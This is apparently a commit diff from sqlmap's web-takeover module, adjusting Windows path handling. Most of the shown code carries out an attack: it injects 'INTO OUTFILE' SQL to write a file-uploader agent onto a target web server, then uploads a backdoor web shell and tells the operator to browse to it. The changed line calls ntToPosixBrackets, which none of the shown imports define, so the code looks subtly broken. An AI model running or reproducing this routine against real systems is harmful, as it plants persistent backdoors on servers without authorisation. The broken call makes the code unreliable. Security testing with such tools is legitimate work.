3131from lib .core .common import fileToStr
3232from lib .core .common import getDirs
3333from lib .core .common import getDocRoot
34+ from lib .core .common import ntToPosixSlashes
3435from lib .core .common import isWindowsPath
3536from lib .core .common import normalizePath
37+ from lib .core .common import posixToNtSlashes
3638from lib .core .common import readInput
3739from lib .core .convert import hexencode
3840from lib .core .data import conf
@@ -90,6 +92,7 @@ def __webFileStreamUpload(self, stream, destFileName, directory):
9092 "file" : stream ,
9193 "uploadDir" : directory ,
9294 }
95+
9396 page = Request .getPage (url = self .webUploaderUrl , multipart = multipartParams )
9497
9598 if "File uploaded" not in page :
@@ -174,21 +177,21 @@ def webInit(self):
174177 for directory in directories :
175178 # Upload the uploader agent
176179 outFile = normalizePath ("%s/%s" % (directory , uploaderName ))
177- uplQuery = uploaderContent .replace ("WRITABLE_DIR" , directory )
180+ uplQuery = uploaderContent .replace ("WRITABLE_DIR" , directory . replace ( '/' , ' \\ \\ ' ) if kb . os == "Windows" else directory )
178181 query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
179182 query += "LINES TERMINATED BY 0x%s --" % hexencode (uplQuery )
180183 query = agent .prefixQuery (" %s" % query )
181184 query = agent .postfixQuery (query )
182185 payload = agent .payload (newValue = query )
183186 page = Request .queryPage (payload )
184187
185- requestDir = directory . replace ( ' \\ ' , '/' ).replace (kb .docRoot . replace ( ' \\ ' , '/' ), "/" ).replace ("//" , "/" )
188+ requestDir = ntToPosixSlashes ( directory ).replace (ntToPosixBrackets ( kb .docRoot ), "/" ).replace ("//" , "/" )
186189 if isWindowsPath (requestDir ):
187190 requestDir = requestDir [2 :]
188191 requestDir = normalizePath (requestDir )
189192 self .webBaseUrl = "%s://%s:%d%s" % (conf .scheme , conf .hostname , conf .port , requestDir )
190193 self .webUploaderUrl = "%s/%s" % (self .webBaseUrl , uploaderName )
191- self .webUploaderUrl = self .webUploaderUrl .replace ("./" , "/" ). replace ( " \\ " , "/" )
194+ self .webUploaderUrl = ntToPosixSlashes ( self .webUploaderUrl .replace ("./" , "/" ))
192195 uplPage , _ = Request .getPage (url = self .webUploaderUrl , direct = True , raise404 = False )
193196
194197 if "sqlmap file uploader" not in uplPage :
@@ -201,18 +204,16 @@ def webInit(self):
201204 infoMsg = "the uploader agent has been successfully uploaded "
202205 infoMsg += "on '%s'" % directory
203206 logger .info (infoMsg )
204-
207+
208+ if kb .os == "Windows" :
209+ directory = posixToNtSlashes (directory )
210+
205211 if self .__webFileStreamUpload (backdoorStream , backdoorName , directory ):
206212 self .webBackdoorUrl = "%s/%s" % (self .webBaseUrl , backdoorName )
207213 self .webDirectory = directory
208-
209214 infoMsg = "the backdoor has probably been successfully "
210215 infoMsg += "uploaded on '%s', go with your browser " % directory
211216 infoMsg += "to '%s' and enjoy it!" % self .webBackdoorUrl
212217 logger .info (infoMsg )
213- else :
214- infoMsg = "the backdoor hasn't been successfully "
215- infoMsg += "uploaded on '%s'" % directory
216- logger .warn (infoMsg )
217218
218219 break
0 commit comments